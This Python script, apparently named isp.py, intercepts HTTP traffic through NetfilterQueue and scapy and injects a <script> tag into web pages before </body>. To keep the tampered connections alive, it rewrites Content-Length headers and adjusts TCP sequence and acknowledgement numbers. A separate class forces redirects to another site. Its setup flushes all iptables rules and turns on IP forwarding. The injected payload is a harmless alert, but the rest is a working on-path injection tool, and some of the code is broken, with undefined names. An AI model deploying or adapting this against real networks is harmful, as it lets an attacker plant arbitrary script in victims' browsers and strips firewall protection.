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isp.py
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isp.py
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from netfilterqueue import NetfilterQueue
from scapy.all import *
import os
import traceback
import string
import time
from logger import getLogger
logger = getLogger(__name__)
PROTO_TCP = 6
PORT_WWW_HTTP = 80
TCP_FIN = 0x01
TCP_SYN = 0x02
TCP_PSH = 0x08
TCP_ACK = 0x10
ENABLE = True
SCRIPT = b'<script>alert("PHP is the best language!");</script>'
SCRIPT_LEN = len(SCRIPT)
sessions = {}
conf.L3socket = L3RawSocket
PKT_ACCEPT = 'accept'
PKT_MODIFY = 'modify'
PKT_REJECT = 'reject'
class Modifier(object):
def __init__(self):
pass
@staticmethod
def is_http_request(s):
return s[:3] == b'GET' and s.find(b' HTTP/1.1') != -1
@staticmethod
def is_http_response(s):
return s[:9] == b'HTTP/1.1 '
def send(self, data, sess):
console.warning('empty handler: send')
def recv(self, data, sess):
console.warning('empty handler: recv')
class Redirector(Modifier):
REDIRECT = b'HTTP/1.1 302 Found\r\nLocation: http://www.google.com\r\n'
def __init__(self):
self.drop_PSH = False
self.monitored = False
def send(self, data, sess):
return PKT_REJECT
def recv(self, data, sess):
pkt_status = PKT_ACCEPT
raw = bytes(data[TCP].payload)
if Modifier.is_http_response(raw):
pkt_status = PKT_MODIFIED
data[TCP].payload = Redirector.REDIRECT
self.drop_PSH = True
elif self.drop_PSH and data[TCP].flags & TCP_PSH:
pass
# send a fake response to server
return pkt_status
class Insertor(Modifier):
def __init__(self):
self.offset = 0
self.threshold = 10**10
self.monitored = False
def send(self, data, sess):
pkt_status = PKT_ACCEPT
if data[TCP].flags == TCP_ACK | TCP_PSH and Modifier.is_http_request(bytes(data[TCP].payload)):
self.monitored = True
logger.info("summary = %s, seq = %s, ack = %s", data.summary(), data.seq - sess['ack_'], data.ack - sess['seq_'])
# logger.info('send %s', bytes(data[TCP].payload))
if data[TCP].ack >= self.threshold + len(data[TCP].payload):
if ENABLE:
data[TCP].ack -= self.offset
logger.info(f'modify ack, delta = {-self.offset}, modified results = ({data[TCP].seq- sess["ack_"]}, {data[TCP].ack - sess["seq_"]})')
pkt_status = PKT_MODIFY
return pkt_status
def recv(self, data, sess):
pkt_status = PKT_ACCEPT
if data[TCP].seq >= self.threshold:
if ENABLE:
data[TCP].seq += self.offset
logger.info(f'modify seq, delta = {self.offset}, modified results = ({data[TCP].seq - sess["seq_"]}, {data[TCP].ack - sess["ack_"]})')
pkt_status = PKT_MODIFY
if self.monitored:
raw = bytes(data[TCP].payload)
logger.info("raw = %s", raw)
loc = raw.lower().find(b'</body>')
if raw:
logger.info('original data size = %s', len(raw))
if loc != -1 and self.monitored: # didn't consider the case where '</body>' itself is a string, e.g., "var x = '</body>';".
# find the enclosing </body>
# should insert script before </body>
raw = raw[:loc] + SCRIPT + raw[loc:]
self.offset = SCRIPT_LEN
self.threshold = data[TCP].seq + self.offset
logger.warning('forging fake packet')
if ENABLE:
data[TCP].payload = raw
pkt_status = PKT_MODIFY
if raw.find(b'Content-Length:') != -1 and self.monitored:
loc = raw.find(b'Content-Length:')
start = loc + 16
end = start
length = 0
while end < len(raw) and 48 <= raw[end] <= 57:
length = length * 10 + raw[end] - 48
end += 1
logger.info('length = %s', length)
length = bytes(str(length + SCRIPT_LEN), 'utf-8')
if ENABLE:
data[TCP].payload = raw[:start] + length + raw[end:]
pkt_status = PKT_MODIFY
logger.warning('modified HTTP header')
return pkt_status
def get_new_modifier():
return Insertor()
def get_session(ip, port):
S = (ip, port)
if S in sessions:
sess = sessions[S]
# logger.info("recorded time = %s, current = %s", sess['time'], time.perf_counter())
if sess['time'] < time.perf_counter() - 5:
del sessions[S]
logger.warning('invalidate session: %s', S)
return None
return sess
return None
def add_session(ip, port):
S = (ip, port)
logger.warning('new session')
sess = {'FIN_count': 0, 'seq_': 0, 'ack_': 0, 'time': time.perf_counter(), 'modifier': get_new_modifier()}
sessions[S] = sess
def callback(pkt):
result = PKT_ACCEPT
try:
data = IP(pkt.get_payload())
if data.proto == PROTO_TCP and data.sport == PORT_WWW_HTTP: # incoming
# data.show()
sess = get_session(data.src, data.dport)
if sess != None and data[TCP].flags == TCP_SYN | TCP_ACK:
sess['seq_'] = data[TCP].seq
sess['ack_'] = data[TCP].ack
if sess != None:
logger.info("summary = %s, seq = %s, ack = %s", data.summary(), data.seq - sess['seq_'], data.ack - sess['ack_'])
result = sess['modifier'].recv(data, sess)
if data[TCP].flags & TCP_FIN:
sess['FIN_count'] += 1
elif data.proto == PROTO_TCP and data.dport == PORT_WWW_HTTP: # outgoing, client -> server
if data[TCP].flags == TCP_SYN:
add_session(data.dst, data.sport)
sess = get_session(data.dst, data.sport)
if sess != None:
result = sess['modifier'].send(data, sess)
except:
logger.info('error')
traceback.print_exc()
if ENABLE:
if result == PKT_MODIFY:
del data[TCP].chksum
del data.len
del data[IP].chksum
pkt.set_payload(bytes(data))
pkt.accept()
elif result == PKT_REJECT:
pkt.reject()
else:
pkt.accept()
else:
pkt.accept()
def main():
os.system('iptables -F')
os.system('iptables -X')
Qnum = 1
rules = [
f'iptables -I INPUT -j NFQUEUE ! -s 127.0.0.1 ! -d 127.0.0.1 --queue-num {Qnum} --queue-bypass',
f'iptables -I OUTPUT -j NFQUEUE ! -s 127.0.0.1 ! -d 127.0.0.1 --queue-num {Qnum} --queue-bypass',
# f'iptables -I FORWARD -j NFQUEUE --queue-num {Qnum} --queue-bypass',
# f'iptables -I OUTPUT -p tcp --tcp-flags RST RST -j DROP',
]
for rule in rules:
logger.info(f'setting rule: {rule}')
os.system(rule)
os.system("sysctl net.ipv4.ip_forward=1")
q = NetfilterQueue()
q.bind(Qnum, callback)
try:
q.run()
except KeyboardInterrupt:
pass
q.unbind()
if __name__ == "__main__":
main()